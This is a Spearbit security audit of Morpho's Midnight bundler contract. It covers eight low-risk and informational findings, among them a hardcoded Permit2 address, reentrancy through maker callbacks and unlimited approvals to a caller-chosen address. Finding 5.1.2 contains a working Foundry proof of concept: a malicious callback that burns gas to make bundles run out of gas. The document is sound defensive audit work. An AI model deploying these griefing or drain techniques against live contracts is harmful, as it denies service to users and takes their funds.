

Morpho Midnight Bundler [8de7076] Security Review

Auditors

MiloTruck, Lead Security Researcher

Saw-mon and Natalie, Lead Security Researcher

Jonatas Martins, Security Researcher

Report prepared by: Lucas Goiriz

August 10, 2026

Contents

1 About Spearbit **2**

2 Introduction **2**

3 Risk classification **2**
3.1 Impact . . . 2
3.2 Likelihood . . . 2
3.3 Action required for severity levels . . . 2

4 Executive Summary **3**
4.1 Scope . . . 3

5 Findings **4**
5.1 Low Risk . . . 4
5.1.1 Hardcoded `Permit2` address selects a non-canonical deployment on zkSync . . . 4
5.1.2 Callback gas griefing can OOG `MidnightBundles` after a successful take . . . 4
5.1.3 Cross-contract reentrancy risk due to maker callbacks . . . 10
5.2 Informational . . . 11
5.2.1 Unconventional tokens where one cannot set allowance to an arbitrary value . . . 11
5.2.2 Arbitrary `midnight` parameter can receive unlimited token approvals from `MidnightBundles` 12
5.2.3 Introduce skimming mechanism for the bundler . . . 13
5.2.4 Permit flow in `_pullTokens()` does not work with tokens with a different permit interface . . 13
5.2.5 Minor issues - Bundler . . . 14

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Morpho is a trustless and efficient lending primitive with permissionless market creation.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of Morpho Midnight Bundler [8de7076] according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 4 days in total, Morpho engaged with Spearbit to review the midnight protocol. In this period of time a total of **8** issues were found.

Summary

Project Name	Morpho
Repository	midnight
Commit	8de7076f
Type of Project	DeFi, Lending
Audit Timeline	May 7th to May 11th

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	0	0	0
Low Risk	3	0	3
Gas Optimizations	0	0	0
Informational	5	2	3
Total	**8**	**2**	**6**

4.1 Scope

The security review had the following components in scope for midnight on commit hash 8de7076f:

```
src
├── Midnight.sol
└── periphery
    ├── MidnightBundles.sol
    └── interfaces
        └── IMidnightBundles.sol
```

5 Findings

5.1 Low Risk

5.1.1 Hardcoded `Permit2` address selects a non-canonical deployment on zkSync

Severity: Low Risk.

Context: MidnightBundles.sol#L26.

Description: `MidnightBundles` hardcodes `Permit2` to `0x000000000022D473030F116dDEE9F6B43aC78BA3`. That is the usual canonical `Permit2` address on many EVM chains, but Uniswap lists the canonical zkSync `Permit2` deployment at `0x0000000000225e31D15943971F47aD3022F714Fa`.

The bundler uses this constant for every `PermitKind.Permit2` token pull via `permitTransferFrom`.

On zkSync, this means signatures and approvals prepared for Uniswap's listed `Permit2` deployment do not apply to the bundler's hardcoded address because `Permit2` signatures are bound to the verifying contract and token allowances are address-specific.

There is code at `0x000000000022D473030F116dDEE9F6B43aC78BA3` on zkSync, but it is a separate deployment with different runtime bytecode, compiler metadata, and EIP-712 domain separator from the Uniswap-listed zkSync `Permit2`. As a result, zkSync users would either see `Permit2` flows fail when using canonical integrations or be asked to approve/sign for a non-canonical `Permit2` address.

Recommendation: Make the `Permit2` address chain-specific instead of hardcoding the ordinary EVM-chain address for every deployment. Prefer passing the `Permit2` address through deployment configuration or the constructor, and use Uniswap's zkSync `Permit2` address when deploying on chain id `324`.

If zkSync is intentionally out of scope, document that explicitly in deployment guidance and avoid advertising `Permit2` support there.

```
address public immutable PERMIT2;

constructor(address permit2) {
    require(permit2.code.length != 0, NoCode());
    PERMIT2 = permit2;
}
```

Morpho: `0x000000000022D473030F116dDEE9F6B43aC78BA3` has actually the same code as `Permit2` on other chains. It has been added once ZKsync added full EVM byte code compatibility (including address derivation): ZKSync - EVM Bytecode Compatibility. And confirmed by Uniswap team.

Spearbit: Acknowledged.

5.1.2 Callback gas griefing can OOG `MidnightBundles` after a successful take

Severity: Low Risk.

Context: MidnightBundles.sol#L68-L74, MidnightBundles.sol#L141-L149, MidnightBundles.sol#L204-L210, MidnightBundles.sol#L283-L291.

Description: `MidnightBundles.supplyCollateralAndSellWithUnitsTarget` iterates over user-provided offers and calls `Midnight.take` inside `try/catch`, intending to skip failed offers. The call forwards almost all remaining gas to `Midnight`, and the bundler does not reserve gas for the next iteration or the final token transfer.

For buy offers, `Midnight.take` invokes the maker-controlled `buyerCallback` before the loan-token transfers and before returning to the bundler. A malicious callback can use a fine-grained gas burner, such as the **BLAKE2f**

precompile with attacker-chosen `rounds`, to leave just enough gas for the current `take` to return successfully while leaving too little gas for `MidnightBundles` to continue.

This can make a two-leg route revert even though the same route succeeds without the gas-burning callback. Depending on the exact gas left, the bundler can OOG in its own post-take work or after starting the next loop iteration but before reaching the second `take`. Because the OOG happens in the bundler frame, the route reverts with empty returndata instead of being handled as a skipped offer. The direct impact is route-level denial of service and gas griefing for takers/aggregators that include callback-bearing offers.

> **i Note:**
> Same issue applies to other `try/catch` blocks in:
> - `buyWithUnitsTargetAndWithdrawCollateral`.
> - `buyWithAssetsTargetAndWithdrawCollateral`.
> - `supplyCollateralAndSellWithAssetsTarget`.

Proof of Concept: Foundry test file: `test/MidnightBundlesGasGriefTest.sol`:

```
// SPDX-License-Identifier: GPL-2.0-or-later
// Copyright (c) 2025 Morpho Association
pragma solidity ^0.8.0;

import {IMidnight, Market, Offer, CollateralParams} from "../src/interfaces/IMidnight.sol";
import {IBuyCallback} from "../src/interfaces/ICallbacks.sol";
import {CALLBACK_SUCCESS} from "../src/libraries/ConstantsLib.sol";
import {MAX_TICK} from "../src/libraries/TickLib.sol";
import {MidnightBundles} from "../src/periphery/MidnightBundles.sol";
import {Take, CollateralSupply} from "../src/periphery/interfaces/IMidnightBundles.sol";
import {Vm, VmSafe} from "../lib/forge-std/src/Vm.sol";
import {ERC20} from "./erc20s/ERC20.sol";
import {BaseTest} from "./BaseTest.sol";

contract GasBurningBuyCallback is IBuyCallback {
    uint256 public gasToLeave;

    function setGasToLeave(uint256 newGasToLeave) external {
        gasToLeave = newGasToLeave;
    }

    function approveToken(address token, address spender) external {
        ERC20(token).approve(spender, type(uint256).max);
    }

    function onBuy(bytes32, Market memory, address, uint256, uint256, bytes memory) external
    ↪   view returns (bytes32) {
        uint256 target = gasToLeave;
        assembly ("memory-safe") {
            let ptr := mload(0x40)
            mstore(ptr, 0)
            mstore(add(ptr, 0x20), 0)
            mstore(add(ptr, 0x40), 0)
            mstore(add(ptr, 0x60), 0)
            mstore(add(ptr, 0x80), 0)
            mstore(add(ptr, 0xa0), 0)
            mstore(add(ptr, 0xc0), 0)

            for {} gt(gas(), target) {} {
                let gasToBurn := sub(gas(), target)
                if lt(gasToBurn, 1000) { break }
```

```
                // BLAKE2f charges exactly the uint32 rounds supplied in the first 4 input
                ↪  bytes.
                let rounds := sub(gasToBurn, 1000)
                let gasNow := gas()
                let callReserve := add(div(gasNow, 64), 2000)
                if iszero(gt(gasNow, callReserve)) { break }
                let maxForwardableRounds := sub(gasNow, callReserve)
                if gt(rounds, maxForwardableRounds) { rounds := maxForwardableRounds }
                if gt(rounds, 0xffffffff) { rounds := 0xffffffff }
                mstore(ptr, shl(224, rounds))
                if iszero(staticcall(rounds, 0x09, ptr, 213, ptr, 64)) { break }
            }
        }
        return CALLBACK_SUCCESS;
    }
}

contract MidnightBundlesGasGriefTest is BaseTest {
    uint256 internal constant UNITS = 100e18;
    uint256 internal constant MIN_BUNDLE_GAS_BUDGET = 400_000;
    uint256 internal constant MAX_BUNDLE_GAS_BUDGET = 590_000;
    uint256 internal constant MIN_GAS_TO_LEAVE = 1_000;
    uint256 internal constant FINAL_TRANSFER_GAS_TO_LEAVE_AT_MIN_BUDGET = 60_000;
    uint256 internal constant BETWEEN_TAKES_GAS_TO_LEAVE_AT_MIN_BUDGET = 36_000;
    uint256 internal constant GAS_TO_LEAVE_EXTRA_BUDGET_DIVISOR = 32;

    MidnightBundles internal midnightBundles;
    GasBurningBuyCallback internal gasBurningCallback;
    Market internal market;
    bytes32 internal id;

    struct CallResult {
        bool success;
        uint256 returnDataLength;
    }

    struct TwoLegTrace {
        bool success;
        uint256 returnDataLength;
        uint256 successfulTakeCalls;
        uint256 consumedCalls;
        uint256 takeCalls;
    }

    function setUp() public override {
        super.setUp();

        midnightBundles = new MidnightBundles();
        gasBurningCallback = new GasBurningBuyCallback();

        market.loanToken = address(loanToken);
        market.maturity = block.timestamp + 100;
        market.collateralParams
            .push(
                CollateralParams({
                    token: address(collateralToken1),
                    lltv: 0.77e18,
                    maxLif: maxLif(0.77e18, 0.25e18),
                    oracle: address(oracle1)
                })
            );
```

```
        market.rcfThreshold = 0;
        id = midnight.touchMarket(market);

        vm.prank(borrower);
        midnight.setIsAuthorized(borrower, address(midnightBundles), true);

        deal(address(loanToken), address(gasBurningCallback), type(uint128).max);
        deal(address(loanToken), lender, type(uint128).max);
        deal(address(loanToken), otherLender, type(uint128).max);
        gasBurningCallback.approveToken(address(loanToken), address(midnight));

        collateralize(market, borrower, 2 * UNITS);
    }

    function testCallbackCanLeaveBundlerWithoutEnoughGasForSecondTake(uint256 gasBudget)
    ↪   public {
        gasBudget = bound(gasBudget, MIN_BUNDLE_GAS_BUDGET, MAX_BUNDLE_GAS_BUDGET);

        CallResult memory benignResult = _callSellBundleWithSnapshot(2 * UNITS, 2, gasBudget,
        ↪   type(uint256).max);
        assertTrue(benignResult.success, "two-leg bundle succeeds without gas burn");
        assertEq(benignResult.returnDataLength, 0, "unexpected benign returndata");

        uint256 callbackGasToLeave = _calculateFinalTransferGasToLeave(gasBudget);
        CallResult memory oneLegResult = _callSellBundleWithSnapshot(UNITS, 1, gasBudget,
        ↪   callbackGasToLeave);
        assertFalse(oneLegResult.success, "single-leg bundle should run out of gas during the
        ↪   bundler transfer");
        assertEq(oneLegResult.returnDataLength, 0, "single-leg failure should be OOG");

        CallResult memory griefedResult = _callSellBundleWithSnapshot(2 * UNITS, 2, gasBudget,
        ↪   callbackGasToLeave);

        assertFalse(griefedResult.success, "gas-burned two-leg bundle should fail");
        // A caught failed take would return the OutOfOffers selector. Empty returndata means
        ↪   the bundler frame OOGed.
        assertEq(griefedResult.returnDataLength, 0, "empty returndata indicates OOG rather than
        ↪   OutOfOffers");
        assertEq(midnight.debtOf(id, borrower), 0, "failed top-level bundle must revert
        ↪   state");
    }

    function testCallbackCanLeaveBundlerWithoutEnoughGasToReachSecondTake(uint256 gasBudget)
    ↪   public {
        gasBudget = bound(gasBudget, MIN_BUNDLE_GAS_BUDGET, MAX_BUNDLE_GAS_BUDGET);

        CallResult memory benignResult = _callSellBundleWithSnapshot(2 * UNITS, 2, gasBudget,
        ↪   type(uint256).max);
        assertTrue(benignResult.success, "two-leg bundle succeeds without gas burn");

        uint256 betweenTakesGasToLeave = _calculateBetweenTakesGasToLeave(gasBudget);
        TwoLegTrace memory trace = _traceTwoLegWithSnapshot(gasBudget, betweenTakesGasToLeave);

        assertFalse(trace.success, "gas-burned two-leg bundle should fail");
        assertEq(trace.returnDataLength, 0, "empty returndata indicates OOG");
        assertEq(trace.successfulTakeCalls, 1, "first take should have returned successfully");
        assertEq(trace.consumedCalls, 2, "second iteration should start");
        assertEq(trace.takeCalls, 1, "bundler should OOG before calling the second take");
        assertEq(midnight.debtOf(id, borrower), 0, "failed top-level bundle must revert
        ↪   state");
    }
```

```
function _callSellBundleWithSnapshot(
    uint256 targetUnits,
    uint256 takesLength,
    uint256 gasBudget,
    uint256 gasToLeave
) internal returns (CallResult memory result) {
    uint256 snapshot = vm.snapshotState();

    gasBurningCallback.setGasToLeave(gasToLeave);
    (bool success, bytes memory returnData) =
        _callSellBundleWithGas(targetUnits, _sellTakes(takesLength), gasBudget);
    result = CallResult({success: success, returnDataLength: returnData.length});

    vm.revertToState(snapshot);
}

function _traceTwoLegWithSnapshot(uint256 gasBudget, uint256 gasToLeave)
    internal
    returns (TwoLegTrace memory trace)
{
    uint256 snapshot = vm.snapshotState();

    gasBurningCallback.setGasToLeave(gasToLeave);
    vm.startStateDiffRecording();
    (bool success, bytes memory returnData) = _callSellBundleWithGas(2 * UNITS,
    ↪  _sellTakes(2), gasBudget);
    Vm.AccountAccess[] memory accesses = vm.stopAndReturnStateDiff();

    trace = TwoLegTrace({
        success: success,
        returnDataLength: returnData.length,
        successfulTakeCalls: _successfulMidnightTakeCalls(accesses),
        consumedCalls: _midnightSelectorCalls(accesses, IMidnight.consumed.selector),
        takeCalls: _midnightTakeCalls(accesses)
    });

    vm.revertToState(snapshot);
}

function _calculateFinalTransferGasToLeave(uint256 gasBudget) internal pure returns
↪  (uint256) {
    return _gasToLeaveFormula(gasBudget, FINAL_TRANSFER_GAS_TO_LEAVE_AT_MIN_BUDGET);
}

function _calculateBetweenTakesGasToLeave(uint256 gasBudget) internal pure returns
↪  (uint256) {
    return _gasToLeaveFormula(gasBudget, BETWEEN_TAKES_GAS_TO_LEAVE_AT_MIN_BUDGET);
}

function _gasToLeaveFormula(uint256 gasBudget, uint256 gasToLeaveAtMinBudget) internal
↪  pure returns (uint256) {
    // Extra bundle gas mostly expands the nested EIP-150 reserves, so the callback target
    ↪  decreases slowly.
    if (gasBudget <= MIN_BUNDLE_GAS_BUDGET) return gasToLeaveAtMinBudget;

    uint256 extraBudget = gasBudget - MIN_BUNDLE_GAS_BUDGET;
    uint256 adjustment = extraBudget / GAS_TO_LEAVE_EXTRA_BUDGET_DIVISOR;

    return gasToLeaveAtMinBudget > adjustment ? gasToLeaveAtMinBudget - adjustment :
    ↪  MIN_GAS_TO_LEAVE;
}
```

```
function _callSellBundleWithGas(uint256 targetUnits, Take[] memory takes, uint256
↪  gasBudget)
    internal
    returns (bool success, bytes memory returnData)
{
    bytes memory callData = abi.encodeCall(
        MidnightBundles.supplyCollateralAndSellWithUnitsTarget,
        (address(midnight), targetUnits, 0, borrower, borrower, new CollateralSupply[](0),
        ↪  takes, 0, address(0))
    );

    vm.prank(borrower);
    return address(midnightBundles).call{gas: gasBudget}(callData);
}

function _midnightTakeCalls(Vm.AccountAccess[] memory accesses) internal view returns
↪  (uint256 count) {
    for (uint256 i; i < accesses.length; i++) {
        if (
            accesses[i].kind == VmSafe.AccountAccessKind.Call && accesses[i].account ==
            ↪  address(midnight)
                && accesses[i].data.length >= 4 && bytes4(accesses[i].data) ==
                ↪  IMidnight.take.selector
        ) {
            count++;
        }
    }
}

function _successfulMidnightTakeCalls(Vm.AccountAccess[] memory accesses) internal view
↪  returns (uint256 count) {
    for (uint256 i; i < accesses.length; i++) {
        if (
            accesses[i].kind == VmSafe.AccountAccessKind.Call && accesses[i].account ==
            ↪  address(midnight)
                && accesses[i].data.length >= 4 && bytes4(accesses[i].data) ==
                ↪  IMidnight.take.selector
                && !accesses[i].reverted
        ) {
            count++;
        }
    }
}

function _midnightSelectorCalls(Vm.AccountAccess[] memory accesses, bytes4 selector)
    internal
    view
    returns (uint256 count)
{
    for (uint256 i; i < accesses.length; i++) {
        bool isMidnightExternalCall = accesses[i].kind == VmSafe.AccountAccessKind.Call
            || accesses[i].kind == VmSafe.AccountAccessKind.StaticCall;
        if (
            isMidnightExternalCall && accesses[i].account == address(midnight) &&
            ↪  accesses[i].data.length >= 4
                && bytes4(accesses[i].data) == selector
        ) {
            count++;
        }
    }
}
```

```
    function _sellTakes(uint256 length) internal view returns (Take[] memory takes) {
        takes = new Take[](length);
        Offer memory firstOffer = _buyOffer(lender, bytes32(uint256(1)),
        ↪  address(gasBurningCallback), UNITS);
        takes[0] = Take({offer: firstOffer, units: UNITS, ratifierData:
        ↪  merkleRatifierData([firstOffer])});

        if (length == 2) {
            Offer memory secondOffer = _buyOffer(otherLender, bytes32(uint256(2)), address(0),
            ↪  UNITS);
            takes[1] = Take({offer: secondOffer, units: UNITS, ratifierData:
            ↪  merkleRatifierData([secondOffer])});
        }
    }

    function _buyOffer(address maker, bytes32 group, address callback, uint256 units)
        internal
        view
        returns (Offer memory offer)
    {
        offer.market = market;
        offer.buy = true;
        offer.maker = maker;
        offer.expiry = block.timestamp + 200;
        offer.tick = MAX_TICK;
        offer.group = group;
        offer.callback = callback;
        offer.ratifier = address(ecrecoverRatifier);
        offer.maxUnits = units;
    }
}
```

Run with:

```
forge test --match-contract MidnightBundlesGasGriefTest --fuzz-runs 1024 -vv
```

Recommendation: Reserve gas in the bundler before calling into `Midnight.take` so a successful callback-bearing offer cannot consume the gas needed for later bundle execution. For example, compute a minimum post-call reserve for loop bookkeeping, `OutOfOffers` handling, referral accounting, and final token transfers, and invoke each `take` with a bounded gas amount that leaves that reserve in the bundler frame. If the bounded `take` OOGs, the existing `catch` can skip it and continue evaluating later offers.

Also consider documenting callback-bearing offers as untrusted from the periphery's perspective and rejecting or separately routing offers whose callbacks require unbounded gas.

Morpho: We acknowledge the issue. That's part of the job of ”routing”: finding executable offers.

Spearbit: Acknowledged.

5.1.3 Cross-contract reentrancy risk due to maker callbacks

Severity: Low Risk.

Context: *(No context files were provided by the reviewer)*.

Description: Whenever `take()` is called, the offer's maker receives a callback to the `offer.callback` address if it is specified.

Since functions in the bundler call `take()` multiple times in one frame, there is a risk of cross-contract reentrancy. More specifically, if an offer's maker specifies a callback address, he can re-enter the `Midnight` contract or the

bundler mid-execution.

One potential risk is that an offer's maker can control the bundler's `loanToken` balance during execution by ”skimming” it, which can be abused to control which offers are filled by the bundler.

For example, assume `buyWithAssetsTargetAndWithdrawCollateral()` is called with the following parameters:

- `targetBuyerAssets = 150`.
- There are 7 offers in `take`. Their `maxAssets` are set to: `[100, 50, 20, 10, 10, 5, 5]`.

Assume all orders except the 2nd belong to a malicious maker. Since he wants his orders to be filled, he can do the following:

- The first order is filled, and the bundler's `loanToken` balance decreases to 50.
- In the callback for the 1st order, drain the bundler's `loanToken` balance to 20 (ie. transfer out 30 tokens).
- Since 50 > 20, `take()` reverts for the 2nd order due to insufficient balance.
- `take()` succeeds for the 3rd order as there is sufficient balance.
- In the callback for the 3rd order, transfer 30 tokens back to the bundler to fill the remaining offers.

By abusing the maker callback, the malicious is able to influence which offers are filled to his benefit. Note that in the current implementation, any token balance in the bundler contract can be drained by calling any bundler function and specifying an arbitrary address as the `midnight` address, which gives that address infinite allowance.

Note that this only one possible exploit path due to cross-contract reentrancy risk, and is not exhaustive.

Recommendation: A potential mitigation would be to disallow maker callbacks through the bundler (i.e. by checking `offer.callback == address(0)`). However, this seems excessive and would overly restrict maker callback functionality through the bundler.

Given that the only identified exploit path so far is also fixed in finding ”Arbitrary `midnight` parameter can receive unlimited token approvals from `MidnightBundles`” by using an immutable `MIDNIGHT` address, consider simply documenting this risk.

Morpho: Indeed, the described exploit path has been fixed with an immutable `MIDNIGHT` address. We acknowledge this issue.

Spearbit: Acknowledged.

5.2 Informational

5.2.1 Unconventional tokens where one cannot set allowance to an arbitrary value

Severity: Informational.

Context: MidnightBundles.sol#L362.

Description: `MidnightBundles` makes use of `_forceApproveMax(loanToken, midnight)` which:

- Skips the approval route if the allowance is above a certain threshold.
- Performs a set to `0` then to `type(uint256).max` to cover edges cases for tokens such as `USDT`.

There are certain tokens that would not allow one to set the allowance to values greater than the user's balance. Examples include:

- `CoinEx Token` (etherscan). The contract is not verified but the decompilation gives:

```
def approve(address _spender, uint256 _value): # not payable
  require _value > 0
  require balanceOf[caller] >= _value
```

```
    allowance[caller][addr(_spender)] = _value
    return 1
```

In this case, even setting the allowance to `0` is not allowed via calling `approve`.

- A collection of less popular tokens with the following pattern:

```
function approve(address _spender, uint256 _value) public
    returns (bool success) {
    uint256 unapprovbal;

    // Do not allow approval if amount exceeds locked amount
    unapprovbal=balanceOf[msg.sender].sub(_value,"ERC20: Allowance exceeds balance of
    ↪  approver");
    require(unapprovbal>=LockedTokens[msg.sender],"ERC20: Approval amount exceeds locked
    ↪  amount ");


    _allowance[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
}
```

Recommendation: An approval flow that would cover a wider set of tokens would be atomically (even within each iteration):

1. Pull tokens first into `MidnightBundles`.
2. Set the `Midnight` allowance as a spender to the current token balance of `MidnightBundles`.
3. Call `Midnight` endpoints that would use the token allowance in **step 2**.
4. (optionally) reset the allowance to `0` (although as shown above it could also fail for some tokens).

Morpho: Documented in commit c5e2001.

Spearbit: Fix verified.

5.2.2 Arbitrary `midnight` parameter can receive unlimited token approvals from `MidnightBundles`

Severity: Informational.

Context: MidnightBundles.sol#L55.

Description: `MidnightBundles` accepts the `midnight` contract address as a user-controlled parameter. Several flows then use that address as the spender in `_forceApproveMax`, granting it an effectively unlimited allowance over the selected loan or collateral token.

```
_forceApproveMax(loanToken, midnight);
```

Since `midnight` is not validated, any caller can pass an attacker-controlled contract as `midnight` and make the bundler approve it. There is no expected direct protocol loss because the bundler should not hold tokens after normal operations. However, this allows skimming accidental donations or residual balances held by the bundler.

Attack path:

1. An attacker passes an attacker-controlled contract as `midnight` to `MidnightBundles`.
2. `MidnightBundles` grants that contract an unlimited allowance for token `T`.
3. The attacker-controlled contract calls `transferFrom` to pull the bundler's balance of `T`.

Recommendation: Use an immutable trusted Midnight address instead of a user-provided `midnight` parameter, or validate `midnight` against an allowlist before approving it. If arbitrary Midnight deployments must be supported, document that the bundler must not be treated as a safe token receiver and that accidental balances can be skimmed.

Morpho: Fixed by PR 886.

Spearbit: Fix reviewed.

5.2.3 Introduce skimming mechanism for the bundler

Severity: Informational.

Context: *(No context files were provided by the reviewer)*.

Description: The `MidnightBundles` contract is only meant to hold tokens mid-flight. Any other tokens held by this contract at rest is either accidentally or intentionally donated to it.

Recommendation: It might make sense to allow a trusted entity to skim these donated tokens. An implementation similar to Morpho VaultV2 adapters. One might also need to introduce re-entracy locks to prevent mid-flight skimmings.

Morpho: Acknowledged.

It doesn't make sense have skimming for the following reasons:

- In the new design of the bundles, you cannot even mess up with the transfers etc...
- The issue mentions vault v2 adapter, but there was a clear use case (rewards) whereas here it's just accidentally donated assets.
- It would be a bad role for the DAO.

Spearbit: Acknowledged.

5.2.4 Permit flow in `_pullTokens()` does not work with tokens with a different permit interface

Severity: Informational.

Context: *(No context files were provided by the reviewer)*.

Description: `_pullToken()` allows for tokens to be transferred via the ERC-2612 permit flow:

```
try IERC20Permit(token).permit(from, address(this), amount, deadline, v, r, s) {} catch {}
```

However, some tokens, such as DAI, have a different interface for their `permit()` function:

```
function permit(address holder, address spender, uint256 nonce, uint256 expiry,
                bool allowed, uint8 v, bytes32 r, bytes32 s) external
{
```

As such, calling `_pullTokens()` with ERC-2612 permit will not work for such tokens.

Recommendation: A possible solution would be to add a different permit flow for such tokens, which call `permit()` with this different interface.

Alternatively, since there are not many of these tokens, it is also viable to simply document this edge-case and recommend using the `Permit2` flow for such tokens instead.

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.2.5 Minor issues - Bundler

Severity: Informational.

Context: *(No context files were provided by the reviewer)*.

Description/Recommendation:

1. MidnightBundles.sol#L51, MidnightBundles.sol#L118,MidnightBundles.sol#L184, MidnightBundles.sol#L255: Assumes `takes` array has at least one element.
2. MidnightBundles.sol#L347-L355: One could use `ExcessivelySafeCall` also avoid return data bombing which would help with potentially better `revert` management.
3. MidnightBundles.sol#L169-L230: For the sake of consistency change `buyWithAssetsTargetAndWithdrawCollateral` so that follows the same patters as `buyWithUnitsTargetAndWithdrawCollateral`:

```
    diff --git a/src/periphery/MidnightBundles.sol b/src/periphery/MidnightBundles.sol
    index db4b6667..e9eff546 100644
  -   -- a/src/periphery/MidnightBundles.sol
  +   ++ b/src/periphery/MidnightBundles.sol
    @@ -180,17 +180,18 @@ contract MidnightBundles is IMidnightBundles {
        ) external {
            require(taker == msg.sender || IMidnight(midnight).isAuthorized(taker,
            ↪  msg.sender), Unauthorized());
            require(referralFeePct < WAD, PctExceeded());
  +          address loanToken = takes[0].offer.market.loanToken;
            // touchMarket to have the correct trading fees.
            bytes32 id = IMidnight(midnight).touchMarket(takes[0].offer.market);

  -          _forceApproveMax(takes[0].offer.market.loanToken, midnight);
  -          _pullToken(takes[0].offer.market.loanToken, msg.sender, targetBuyerAssets,
   ↪  loanTokenPermit);
  +          _forceApproveMax(loanToken, midnight);
  +          _pullToken(loanToken, msg.sender, targetBuyerAssets, loanTokenPermit);

            uint256 referralFeeAssets = targetBuyerAssets.mulDivDown(referralFeePct, WAD);
            uint256 targetFilledBuyerAssets = targetBuyerAssets - referralFeeAssets;

  -          uint256 filledBuyerAssets;
            uint256 filledUnits;
  +          uint256 filledBuyerAssets;
            for (uint256 i; i < takes.length && filledBuyerAssets <
            ↪  targetFilledBuyerAssets; i++) {
                require(!takes[i].offer.buy, InconsistentSide());
                require(IMidnight(midnight).toId(takes[i].offer.market) == id,
                ↪  InconsistentMarket());
    @@ -205,8 +206,8 @@ contract MidnightBundles is IMidnightBundles {
                    .take(unitsToTake, taker, address(0), "", address(0), takes[i].offer,
                    ↪  takes[i].ratifierData) returns (
                    uint256 resBuyerAssets, uint256
                ) {
  -                  filledBuyerAssets += resBuyerAssets;
                    filledUnits += unitsToTake;
  +                  filledBuyerAssets += resBuyerAssets;
                } catch {}
            }

    @@ -225,7 +226,6 @@ contract MidnightBundles is IMidnightBundles {
                    );
            }
```

```
-           address loanToken = takes[0].offer.market.loanToken;
            if (referralFeeAssets > 0) SafeTransferLib.safeTransfer(loanToken,
            ↪  referralFeeRecipient, referralFeeAssets);
        }
```

4. MidnightBundles.sol#L271-L292: For the sake of consistency change `supplyCollateralAndSellWithAssetsTarget` so that follows the same patters as `supplyCollateralAndSellWithUnitsTarget`.

```
    diff --git a/src/periphery/MidnightBundles.sol b/src/periphery/MidnightBundles.sol
    index db4b6667..ca41ccd7 100644
-   -- a/src/periphery/MidnightBundles.sol
+   ++ b/src/periphery/MidnightBundles.sol
    @@ -268,8 +268,8 @@ contract MidnightBundles is IMidnightBundles {
            uint256 referralFeeAssets = targetSellerAssets.mulDivDown(referralFeePct, WAD
            ↪  - referralFeePct);
            uint256 targetFilledSellerAssets = targetSellerAssets + referralFeeAssets;

-           uint256 filledSellerAssets;
            uint256 filledUnits;
+           uint256 filledSellerAssets;
            for (uint256 i; i < takes.length && filledSellerAssets <
            ↪  targetFilledSellerAssets; i++) {
                require(takes[i].offer.buy, InconsistentSide());
                require(IMidnight(midnight).toId(takes[i].offer.market) == id,
                ↪  InconsistentMarket());
    @@ -286,8 +286,8 @@ contract MidnightBundles is IMidnightBundles {
                    ) returns (
                    uint256, uint256 resSellerAssets
                ) {
-                   filledSellerAssets += resSellerAssets;
                    filledUnits += unitsToTake;
+                   filledSellerAssets += resSellerAssets;
                } catch {}
            }
```

5. MidnightBundles.sol#L360: Add more context/comments as why this skipping mechanism is chosen.

Morpho: Partially fixed and partially acknowledged.

Item	Comment
1	Acknowledged
2	Acknowledged, users shouldn't use such adversary tokens
3	PR 919
4	PR 919
5	PR 921

Spearbit: Partial fixes verified.